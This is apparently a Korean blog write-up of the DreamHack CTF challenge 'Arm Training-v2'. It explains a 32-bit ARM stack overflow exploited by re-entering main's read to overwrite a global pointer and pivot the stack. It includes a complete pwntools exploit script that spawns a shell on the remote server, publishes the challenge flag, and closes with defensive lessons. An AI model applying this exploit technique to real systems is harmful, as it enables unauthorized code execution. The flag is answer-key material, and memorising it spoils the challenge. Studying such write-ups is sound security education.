문제: DreamHack — Arm Training-v2 분류: pwnable 난이도: 🥉 Bronze 2 FLAG:
DH{49AD4F9C3D6B72A8E5DE3D71EB435E1791041BCB130939DA82912F0423001CF2}
문제 설명은 v1 과 똑같이 한 줄이다. "셸을 획득하여 /flag를 읽어주세요!" 배포 파일도 바이너리 하나와 run.sh 한 줄뿐이고, 서버는 그 한 줄대로 32비트 ARM 바이너리를 qemu 유저모드로 돌린다.
qemu-arm-static /armv1 은 system("/bin/sh") 를 통째로 부르는 shell() 함수가 바이너리 안에 있어서 반환주소만 거기로 돌리면 끝나는 전형적인 ret2win 이었다. v2 는 그 win 함수를 치웠다. 대신 셸로 바로 이어지지 않는 두 조각만 남겨 두고, 그 둘을 재료로 직접 system("/bin/sh") 를 조립하게 만든다. 여기서부터가 v2 의 몫이다.
문제 개요
| 항목 | 값 |
|---|---|
| 아키텍처 | ARM 32-bit (EABI5), qemu-arm-static |
| 보호기법 | No PIE(로드베이스 0x10000) · No canary · NX · Partial RELRO |
| 취약점 | main 의 read(0, fp-0x18, 0xc8) 스택 버퍼 오버플로 |
| 제공 조각 | gadget1 = system(*id) · gadget2 = puts(*sh) |
| 핵심 기법 | main 재진입으로 read 를 임의쓰기화 → 전역 id 를 "/bin/sh" 로 덮기 + 스택 피벗 |
먼저 아키텍처와 보호기법, 그리고 바이너리에 어떤 함수가 있는지부터 확인한다.
# cap_recon.sh — 아키텍처 / 보호기법 / 심볼
file arm_training-v2
checksec --file=arm_training-v2
nm arm_training-v2 | grep -E "gadget|main|init"
No PIE 라 모든 주소가 고정이고, 스택 카나리가 없어 오버플로로 반환주소를 바로 덮을 수 있다. 심볼에 gadget1, gadget2 라는 노골적인 이름이 보인다. 이 둘이 이 문제의 재료다.
🔬 코드 정찰 — 두 조각과 read
바이너리가 작아 핵심 세 함수를 한눈에 볼 수 있다. 호스트 objdump 는 ARM 을 못 읽으므로(can't disassemble for architecture UNKNOWN!), v1 과 같은 도커 랩의 arm-linux-gnueabi-objdump 로 뽑았다.
# cap_disasm.sh — 랩 이미지의 arm-linux-gnueabi-objdump 로 핵심 함수만 추출
docker run --rm arm-training-v2-lab arm-linux-gnueabi-objdump -d /arm \
| sed -n -e '/<gadget1>:/,/.word/p' -e '/<gadget2>:/,/.word/p' -e '/<main>:/,/pop.{fp, pc}/p'
# (<== 주석은 가독성을 위해 sed 로 덧붙였다)![클릭하여 확대 gadget1, gadget2, main 의 ARM 디스어셈블리. gadget1 은 전역 id 주소를 ldr 로 읽어 ldr r3,[r3] 로 역참조한 뒤 r0 에 넣고 system plt 를 호출하고, gadget2 는 같은 방식으로 sh 를 역참조해 puts 를 호출하며, main 은 sub r3,fp,24 로 버퍼를 잡고 r2 를 200 으로 둬 read plt 를 부른 뒤 에필로그에서 pop 으로 fp 와 pc 를 복원한다](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-arm-training-v2-writeup%2F02_disasm.png&w=3840&q=75)
세 함수를 말로 풀면 이렇다.
gadget1=system(*id). 전역 포인터id를 역참조해 그 값을r0로 넘기고system을 부른다.*id는 문자열"id"다 — 셸이 아니라id명령이 실행된다.gadget2=puts(*sh). 같은 방식으로sh를 역참조해puts에 넘긴다.*sh는"/bin/sh"인데, 하필 호출하는 함수가system이 아니라puts라 문자열을 출력만 하고 끝난다.main=read(0, fp-0x18, 0xc8). 20바이트 버퍼에 200바이트를 읽는 명백한 오버플로. 에필로그sub sp, fp, #4; pop {fp, pc}는 저장된 fp 와 pc 를 검사 없이 복원한다(ARM 에서 반환주소가 다뤄지는 방식은 v1 글에서 자세히 다뤘다. 버퍼에서 24바이트 뒤가 복귀 pc 다).
문제는 명확하다. 우리가 원하는 건 system("/bin/sh") 인데, 가진 건 system("id") 와 puts("/bin/sh") 다. system 에 "/bin/sh" 를 넘기려면 r0 를 "/bin/sh" 주소로 세팅해야 한다.
💣 핵심 — r0 를 세팅할 가젯이 없다
ARM 에서 함수 인자는 r0~r3 로 들어간다. 그러니 system("/bin/sh") 를 만들려면 r0 = "/bin/sh" 를 세팅하는 가젯(pop {r0, ...} 류)이 필요하다. 그런데 바이너리를 전수 스캔하면 그런 게 없다. 임의 주소에 값을 쓰는 store 가젯도 없다.
# scan_gadgets.py — capstone 으로 .init/.plt/.text/.fini 전수 스캔
python3 scan_gadgets.py![클릭하여 확대 scan_gadgets.py 출력. pop 또는 ldm 으로 반환을 제어하는 가젯은 여럿 있지만 전부 r3, r4, r11, r1 만 pop 하고, r0 를 pop 하는 가젯은 없음 이라고 표시되며, 임의주소 store 가젯은 dtors 의 strb r3,[r4] 하나뿐인데 r3 와 r4 가 고정값이라 제어 불가 라고 적혀 있다](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-arm-training-v2-writeup%2F04_gadgets.png&w=3840&q=75)
pop {r11, pc} 같은 반환 제어 가젯은 많지만 r0 를 건드리는 건 하나도 없다. str rX, [rY] 형태의 임의쓰기도 없다(유일한 store 는 .dtors 의 strb r3, [r4] 인데 r3=1, r4 고정이라 못 쓴다). 즉, system 에 넘길 인자를 레지스터로도 메모리 쓰기로도 직접 만들 수 없다.
그래서 발상을 뒤집는다. r0 를 바꿀 수 없다면, gadget1 이 읽는 전역 id 포인터 자체를 "/bin/sh" 로 바꾸면 system(*id) 가 곧 system("/bin/sh") 가 된다. 문제는 "그 전역을 어떻게 쓰느냐"다 — 임의쓰기 가젯이 없는데.
read 를 임의쓰기 원시연산으로
열쇠는 main 본문의 read 가 버퍼 주소를 fp 로부터 계산한다는 데 있다.
0x105e0 sub r3, fp, #0x18 ; buf = fp - 0x18
0x105e8 mov r1, r3 ; read 의 두 번째 인자
0x105f0 bl read@plt ; read(0, fp-0x18, 0xc8)여기서 fp 는 main 프롤로그가 세팅한 값이 아니라, 우리가 1차 오버플로로 심어 둔 값이다. main 프롤로그(0x105d0)를 건너뛰고 본문 0x105e0 으로 직접 돌아가면 fp 가 그대로 보존되기 때문이다. 즉 fp 만 조종하면 read 가 임의 주소에 쓰는 원시연산이 된다.
전역 id 는 0x21038 에 있다. fp - 0x18 = 0x21038 이 되도록 fp = 0x21050 으로 두고 본문에 재진입하면, 2차 read 가 id 를 덮는다. 섹션 배치를 보면 이 쓰기가 왜 안전한지도 보인다.
# recon_layout.py — pwntools 로 .got/.data/.bss 와 전역 포인터 확인
python3 recon_layout.py
id(0x21038)는 GOT(0x21000~0x21030) 위쪽에 있다. read 는 0x21038 부터 높은 주소로 써 나가므로 GOT 는 건드리지 않는다. 바로 뒤의 sh, 그리고 0x21040 대의 stdin/stdout/stderr 포인터는 같이 덮이지만, 셸은 FILE 구조체가 아니라 raw 파일 디스크립터(fd 0/1/2)를 쓰므로 무해하다.
세그먼트 권한을 보면 쓰기가 어디서부터 가능한지가 더 분명해진다. 이건 곧 아래 삽질의 복선이기도 하다.
# cap_segments.sh — LOAD / GNU_RELRO 세그먼트 권한
readelf -l arm_training-v2 | sed -n '/Program Headers/,/Section to Segment/p'
RW LOAD 는 0x20f10 부터지만, GNU_RELRO 가 0x20f100x21000(GOT 포함)을 시작 직후 읽기전용으로 되돌린다. 그 아래는 R-X 코드다. 즉 **실제로 쓸 수 있는 영역은 0x210000x22000 한 페이지뿐**이고, 그 밑으로는 못 쓴다. 지금은 id 를 덮는 데만 쓰지만, 이 "아래로 못 쓴다"는 사실이 곧 발목을 잡는다.
★ 삽질 — sp 가 .bss 로 내려가 system 이 터진다
처음엔 id 만 덮고 바로 gadget1 로 돌렸다가 system 내부에서 SIGSEGV 로 한참 헤맸다 (펼치기)
이론은 깔끔했다. fp = 0x21050 으로 재진입 → 2차 read 가 id 를 0x106a4("/bin/sh")로 덮음 → 복귀 pc 를 gadget1 로 → system("/bin/sh"). gdb 로 따라가 보면 r0 가 정확히 "/bin/sh" 를 가리킨 채 system PLT 까지 들어간다. 그런데 system 내부에서 죽었다.
원인은 스택이었다. main 본문 에필로그는 sub sp, fp, #4; pop {fp, pc} 다. read 버퍼를 .bss 로 옮기려고 fp 를 0x21050 근처로 둔 탓에, 이 sub sp, fp, #4 가 sp 를 .bss 바닥(0x2104c)으로 끌어내린다. 그 상태로 system 을 부르면, system → fork/execve 로 이어지는 호출 스택이 아래로 자라는데 — 앞서 본 대로 0x21000 밑은 RELRO 로 읽기전용(그 아래는 코드)이라 쓸 수가 없다. 스택이 0x21000 밑으로 넘어가는 순간 폴트가 난다.
sp 를 조금 올려 0x210f8 로 둬도 마찬가지였다. gdb 로 폴트 지점을 잡아 보면, system 이 겨우 0x50~0xe0 바이트쯤 내려간 뒤 레지스터 9개를 push 하고 sub sp, sp, #0x5c 하는 함수에서 0x21018 → 0x20ffc(매핑 밖)로 넘어가 죽는다.
# gdb_run.sh trap — sp 를 0x210f8(낮은 .bss)에 둔 실패 사례
./gdb_run.sh trap
결론: system 은 수백 바이트~수 KB의 스택을 쓴다. read 버퍼를 .bss 에 둔 이상 sp 는 그 페이지 안에 묶이므로, 페이지 상단으로 sp 를 최대한 올려 하향 여유를 확보해야 한다. 이게 v2 의 진짜 난관이었다 — 오프셋이 아니라 "system 을 부를 스택이 어디 있느냐"다.
id 덮기 + 페이지 상단으로 스택 피벗
삽질의 결론을 반영하면 설계가 정해진다. read 한 번은 0x21038 부터 0xc8(200)바이트밖에 못 쓰므로 0x21100 까지가 한계다. 그래서 read 를 세 번 돌려 fp 를 두 번 더 옮기며 sp 를 .bss 페이지 상단까지 끌어올린다.

- read1 — 실스택에서 일어나는 1차 오버플로. 저장된 pc 를
main본문(0x105e0)으로, 저장된 fp 를0x21050으로 덮어 본문에 재진입한다. - read2 —
fp = 0x21050이라 버퍼가0x21038. 여기에id = 0x106a4("/bin/sh")를 쓰고, 이어질 피벗을 위해 저장된 fp 를0x21f00, pc 를 다시main본문으로 둔다. - read3 —
fp = 0x21f00이라 버퍼가0x21ee8. 여기에 최종 피벗(저장된 fp, pc=gadget1)을 쓴다. 에필로그sub sp, fp, #4; pop {fp, pc}가 돌면sp = 0x21f04(페이지 상단, 약 3.8KB 여유),pc = gadget1이 된다.
세 단계를 모두 정확히 0xc8 바이트로 패딩하는 게 또 하나의 포인트다. 각 read 는 "그 순간 도착해 있는 바이트 전부"를 삼키므로(이건 v1 에서 크게 데였던 함정이다), 한 단계가 정확히 0xc8 이어야 다음 read 가 다음 단계만 받는다. read3 타깃(0x21ee8)+0xc8=0x21fb0 으로 페이지(0x22000)를 넘지 않는 것도 맞춰 뒀다.
gdb 로 세 번의 재진입과 최종 system 호출을 그대로 따라가면 설계대로 흐른다.
# gdb_run.sh win — 세 번의 read 재진입과 gadget1 의 system 호출을 추적
./gdb_run.sh win
id(*0x21038)=0x106a4, r0=0x106a4("/bin/sh"), sp=0x21efc(페이지 상단). gadget1 의 bl system 이 이제 system("/bin/sh") 다.
🚀 Full Exploit
실제로 flag 를 뽑은 solve.py 전문이다. 로컬 랩(docker)과 라이브 서버를 같은 코드로 다룬다.
#!/usr/bin/env python3
# Arm Training-v2 (DreamHack, id 861, Bronze 2, pwnable) — ARM32 BOF
#
# 사용법:
# python3 solve.py → 로컬 ARM 랩(docker)에서 셸 획득 검증
# python3 solve.py host3.dreamhack.games 12345 → 라이브 서버에서 진짜 /flag 읽기
#
# v1 과의 차이: v1 엔 system("/bin/sh") 를 그대로 부르는 win 함수가 있었지만 v2 엔 없다.
# gadget1 (0x10588) = system(*id) *id -> "id" (전역 id @0x21038 -> 0x106a0)
# gadget2 (0x105ac) = puts(*sh) *sh -> "/bin/sh" (전역 sh @0x2103c -> 0x106a4)
# r0 세팅 가젯도 임의쓰기 가젯도 없다 → 전역 id 포인터를 "/bin/sh" 로 덮어
# gadget1 을 system("/bin/sh") 로 만든다.
#
# 쓰기 원시연산 = main 본문의 read(0, fp-0x18, 0xc8) 재활용(프롤로그 skip, fp 보존).
# 스택 함정: 피벗 sp 가 낮은 .bss 면 system 스택이 0x21000 아래로 자라 SIGSEGV →
# read 를 세 번 돌려 sp 를 .bss 페이지 상단(0x21f04)으로 올린다. 각 단계 0xc8 패딩.
import sys, re
from pwn import *
context.clear(arch='arm', os='linux', endian='little', bits=32)
context.log_level = 'info'
# ---- 고정 주소 (No PIE, 로드베이스 0x10000) --------------------------------
MAIN_BODY = 0x105e0 # read(0, fp-0x18, 0xc8) ; 에필로그 sub sp,fp,4; pop{fp,pc}
GADGET1 = 0x10588 # push{fp,lr}; r3=*id; r0=r3; bl system => system(*id)
BINSH_PTR = 0x106a4 # "/bin/sh"
READ_N = 0xc8 # main read 의 count
ID_FP = 0x21050 # read2 가 0x21038(id) 를 덮게 하는 fp
TOP_FP = 0x21f00 # read3 가 0x21ee8 을 쓰게 하는 fp → 최종 sp=0x21f04 (.bss 상단)
def blk(buf): # 정확히 0xc8 바이트로 맞춰 read 경계를 고정
assert len(buf) <= READ_N
return buf.ljust(READ_N, b'A')
def stage1():
# read1(실스택): 오버플로. off20=저장된 fp, off24=저장된 pc.
return blk(b'A'*20 + p32(ID_FP) + p32(MAIN_BODY))
def stage2():
# read2 @0x21038: id="/bin/sh", 그리고 본문 재진입(fp=TOP_FP)
# off0 id<-0x106a4, off4 sh<-0x106a4, off20 fp<-TOP_FP, off24 pc<-MAIN_BODY
return blk(p32(BINSH_PTR) + p32(BINSH_PTR) + b'B'*12 + p32(TOP_FP) + p32(MAIN_BODY))
def stage3():
# read3 @0x21ee8: 최종 피벗. 에필로그 sub sp,TOP_FP,4=0x21efc; pop → sp=0x21f04, pc=gadget1
# off20 junk fp, off24 gadget1
return blk(b'C'*20 + p32(0xdeadbeef) + p32(GADGET1))
def main():
if len(sys.argv) >= 3:
io = remote(sys.argv[1], int(sys.argv[2]))
else:
io = process(['docker','run','-i','--rm','arm-training-v2-lab'])
io.send(stage1() + stage2() + stage3()) # 세 블록 연속 — 각 read 가 0xc8 씩 가져간다
io.sendline(b'echo PWNED; id; cat /flag')
try:
data = io.recvrepeat(2.5)
except EOFError:
data = b''
sys.stdout.buffer.write(data); print()
m = re.search(rb'DH\{[^}]+\}', data)
if m:
log.success('FLAG = %s' % m.group().decode())
elif b'PWNED' in data or b'uid=' in data:
log.success('SHELL OK (로컬 랩: 더미 flag)')
else:
log.failure('no shell')
io.close()
if __name__ == '__main__':
main()라이브에 붙기 전에 로컬 ARM 랩에서 먼저 돌려 셸을 확인한다. 랩은 v1 과 같은 구성이다 — debian:bookworm-slim 위에 qemu-user-static, libc6-armel-cross(/lib/ld-linux.so.3), binutils-arm-linux-gnueabi, gdb-multiarch 를 올리고 진입점을 원격과 똑같이 qemu-arm-static -L /usr/arm-linux-gnueabi /arm 으로 맞췄다. 진짜 flag 는 없으니 /flag 에는 정답인 척 통과하지 않도록 형식부터 다른 더미를 심었다.
위 solve.py 를 인자 없이 실행하면(python3 solve.py) 랩 컨테이너를 띄워 익스플로잇을 건다.

로컬에서 uid=0(root) 셸을 잡고 더미 파일까지 읽었다. 이제 라이브 서버 주소와 포트를 인자로 줘(python3 solve.py host3.dreamhack.games 18892) 같은 코드를 그대로 돌리면 진짜 /flag 가 나온다.

DH{49AD4F9C3D6B72A8E5DE3D71EB435E1791041BCB130939DA82912F0423001CF2}로컬에서 셸까지 검증한 익스가 라이브에서 한 번에 통했다.
📝 결론 — 방어와 교훈
win 함수를 치운다고 안전해지지 않는다. v2 는 system("/bin/sh") 를 통째로 주는 대신 system(*id) 와 puts(*sh) 조각만 남겼지만, 전역 포인터 하나를 덮는 것으로 둘을 합성할 수 있었다. 공격자가 노리는 건 "셸 함수의 존재"가 아니라 "제어 가능한 간접 호출"이다.
- 스택 카나리가 있었다면 반환주소를 덮는 순간 검출돼 이 체인의 1단계부터 막혔다. 가장 값싼 1차 방어다.
- Full RELRO 였다면 GOT 는 어차피 못 쓰지만, 이 문제의 진짜 급소는 GOT 가 아니라
.data/.bss의 쓰기 가능한 전역 포인터였다.id/sh같은 함수 인자용 전역을 가변으로 두지 말고 상수(const char id[] = "id";)로 두면.rodata로 가 덮을 수 없다. read에 넘기는 길이를 버퍼 크기로 제한하는 것(20바이트 버퍼에0xc8을 읽지 않는 것)이 근본 원인 차단이다. 오버플로가 없으면 fp 조작도, 재진입을 통한 임의쓰기도 성립하지 않는다.
ARM/qemu 환경이라는 껍데기 때문에 낯설어 보이지만, 핵심은 "쓰기 원시연산을 어떻게 만들고, 그 원시연산을 쓸 때 희생되는 스택을 어떻게 복구하느냐" 라는 익스플로잇의 보편적인 두 질문이었다. v2 가 v1 위에 얹은 건 바로 이 두 질문이다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…